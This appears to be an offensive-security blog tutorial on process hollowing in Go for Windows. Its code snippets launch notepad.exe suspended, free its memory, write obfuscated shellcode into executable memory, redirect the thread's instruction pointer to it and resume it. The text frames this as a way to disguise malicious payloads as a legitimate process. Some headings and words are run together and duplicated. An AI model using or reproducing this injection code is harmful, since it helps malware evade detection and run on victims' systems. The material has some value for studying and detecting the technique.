Process Hollowing: The skinwalker process
What is Process Hollowing?
Process hollowing is a code injection technique used to conceal its presence on a system. The goal is to spawn a legitimate process (e.g., notepad.exe
) in a suspended state, removes its legitimate code from memory, and replaces it with malicious code, while redirecting the program execution flow to our shellcode. The process is then resumed, giving the appearance of the target process, but fully loaded with our payload, like a skinwalker.
How Process Hollowing Works
Let’s break down the process hollowing methodology step by step.
Understanding RIP (Return Instruction Pointer)
In the context of process hollowing, one of the key aspects to understand is the RIP register, which plays a critical role in controlling the flow of execution in a program. The RIP stands for Return Instruction Pointer, and it stores the address of the next instruction that the CPU will execute. In modern 64-bit processors, the RIP register is essential in controlling the flow of execution within a thread.
When performing process hollowing, we essentially takes control over the execution flow of a legitimate process and redirects it to their malicious code. This redirection is achieved by manipulating the RIP register.
The CONTEXT
structure is used to represent the state of a thread’s registers, including all of its general-purpose registers, control registers, and flags. This structure is used by various Windows system functions to save, modify, or retrieve the state of a thread during tasks like context switching, debugging, and manipulating thread execution.
Here is the full CONTEXT
struct with an explanation of the fields, focusing on the RIP and related fields:
// define the CONTEXT struct for manipulate RIP register
type Context struct {
P1Home uint64 // Address to store first floating point state (unused in most cases)
P2Home uint64 // Address to store second floating point state (unused in most cases)
P3Home uint64 // Address to store third floating point state (unused in most cases)
P4Home uint64 // Address to store fourth floating point state (unused in most cases)
P5Home uint64 // Address to store fifth floating point state (unused in most cases)
P6Home uint64 // Address to store sixth floating point state (unused in most cases)
ContextFlags uint32 // Flags to specify which parts of the context should be updated or retrieved (used when calling NtGetContextThread)
MxCsr uint32 // MXCSR register (used for SIMD floating point operations)
// Segment registers
SegCs, SegDs, SegEs, SegFs, SegGs, SegSs uint16 // These are segment registers used in memory addressing in x86 architecture
EFlags uint32 // Flags register (contains the processor flags that control the execution of the program)
// Debug registers (used for hardware breakpoints)
Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 uint64 // Debug registers, used for setting breakpoints or watchpoints
// General-purpose registers
Rax, Rcx, Rdx, Rbx uint64 // These are general-purpose registers used for computation or passing arguments
Rsp, Rbp, Rsi, Rdi uint64 // Stack pointer, base pointer, and source/destination index registers
// Extended registers (these registers are part of the extended x64 architecture)
R8, R9, R10, R11 uint64 // Additional general-purpose registers in the extended x64 architecture
R12, R13, R14, R15 uint64 // Additional general-purpose registers in the extended x64 architecture
Rip uint64 // Return Instruction Pointer - points to the address of the next instruction to execute
DebugControl uint64 // Debug control flags (used for controlling debugging behavior)
// Last branch-related information (used for tracing program control flow)
LastBranchToRip uint64 // The RIP of the instruction before the last branch
LastBranchFromRip uint64 // The RIP of the instruction after the last branch
// Exception-related information
LastExceptionToRip uint64 // The RIP of the instruction before the last exception
LastExceptionFromRip uint64 // The RIP of the instruction after the last exception
}
Key Fields Related to RIP in the CONTEXT
Structure
CONTEXT
Structure1.1 RIP (Return Instruction Pointer):
This is the most important field for controlling the execution flow of the process. The
Rip
register holds the address of the next instruction to execute. In a typical, unmodified process, it points to the address of the next instruction in the program counter.When performing process hollowing, we can manipulate this register to redirect the execution of the thread to malicious code (shellcode) injected into the process. This is accomplished by altering the value of the
Rip
register to point to the start of the injected shellcode.
1.2 ContextFlags:
This field is used to specify which parts of the thread context should be updated. For example, if
CONTEXT_CONTROL
is set, it indicates that the processor's control registers (including theRip
register) should be included in the context. This allows us to manipulate theRip
register specifically.
1.3 LastBranchToRip and LastBranchFromRip:
These fields store the
Rip
values related to control flow changes such as branches. TheLastBranchToRip
field contains the address of the instruction that was about to be executed before a branch occurred, whileLastBranchFromRip
contains the address after the branch. These can be helpful in tracing the execution flow or debugging.
1.4 LastExceptionToRip and LastExceptionFromRip:
These fields are used to store the addresses of instructions before and after exceptions, which is relevant for debugging and exception handling. In process hollowing, exception handling might not be involved directly, but these fields are part of the broader context structure.
2. How RIP Manipulation Works in Process Hollowing
2.1 Suspending the Target Process:
The first step in process hollowing is to suspend the target process, typically using the
CreateProcess
function with theCREATE_SUSPENDED
flag. This allows us to safely manipulate the process state without it executing instructions in the meantime.
2.2 Injecting Shellcode:
We need to allocates memory in the target process using
VirtualAllocEx
and injects the shellcode into the allocated space. The shellcode is typically obfuscated to avoid detection, often through simple encryption techniques like ROT1 (shifting ASCII values by 1).
2.3 Manipulating RIP:
After the shellcode is injected, We can retrieve the thread context using functions like
NtGetContextThread
, which provides the state of all the registers, including theRip
. We then modifies theRip
register to point to the address of the injected shellcode.The thread context is updated by setting the
Rip
register in theContext
structure to the address where the shellcode resides. This is done using theNtSetContextThread
function.
2.4 Resuming the Target Process:
Finally, once the
Rip
is modified, the thread is resumed usingResumeThread
. When the process is resumed, the CPU will begin execution at the address specified in theRip
register, which is now the location of the injected shellcode, effectively hijacking the process and running our’s code.
Launching a Legitimate Process
Our code first launches a legitimate process in a suspended state using the Windows API CreateProcess
. This ensures the process exists but is not yet actively executing.
// suspended process creation structure definition
var startupInfo windows.StartupInfo
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
var processInfo windows.ProcessInformation
err := windows.CreateProcess(
syscall.StringToUTF16Ptr(legitProcess),
nil,
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&startupInfo,
&processInfo,
)
Clearing the Process Memory
The code traverses the memory regions of the process and releases all committed memory pages using the VirtualFreeEx
API. This effectively "hollows out" the process, making room for malicious code.
func freeProcessMemory(processHandle windows.Handle) {
var mbi windows.MemoryBasicInformation
address := uintptr(0)
fmt.Println("empty process memory...")
for {
// query the process handle
ret := windows.VirtualQueryEx(processHandle, address, &mbi, unsafe.Sizeof(mbi))
if ret == nil {
break
}
// check if memory is commited
if mbi.State == MEM_COMMIT {
// Free the memory
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
virtualFreeEx := kernel32.NewProc("VirtualFreeEx")
_, _, _ = virtualFreeEx.Call(uintptr(processHandle), uintptr(mbi.BaseAddress), 0, MEM_RELEASE)
fmt.Printf("Mémoire libérée à l'adresse : 0x%x\n", mbi.BaseAddress)
}
// iterate through regions
address += mbi.RegionSize
}
fmt.Println("memory cleaned")
}
Injecting Malicious Code
Our code decrypts its shellcode (often stored in an obfuscated format such as ROT1, as seen here) and allocates memory in the target process for the shellcode. The payload is then written into the process's memory using WriteProcessMemory
.
addr, _, _ := virtualAllocEx.Call(
uintptr(processHandle), // Allocate memory in the hollowed process mem
0,
uintptr(len(shellcode)),
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
)
Hijacking the Thread Context
By modifying the thread's execution context, specifically setting the instruction pointer (RIP) to the address of the injected shellcode, our code ensures the malicious code will execute when the process resumes.
ctx.Rip = uint64(addr) // Redirect execution to our shellcode
_, _, _ = setThreadContext.Call(uintptr(threadHandle), uintptr(unsafe.Pointer(&ctx)))
Resuming the Process
Finally, the process is resumed, appearing as a legitimate application (e.g., notepad.exe
) but executing malicious operations instead of his habitual code.
resumeThread := kernel32.NewProc("ResumeThread")
_, _, _ = resumeThread.Call(uintptr(threadHandle))
8. Result
As a result of all of these operations, we have finally achieved our goal: start a notepad.exe program, empty his memory then inject our shellcode into it then and redirect the execution flow of the process without creating a new thread. We succed to create a real skinwalker process !

as always, the full code is available here
Last updated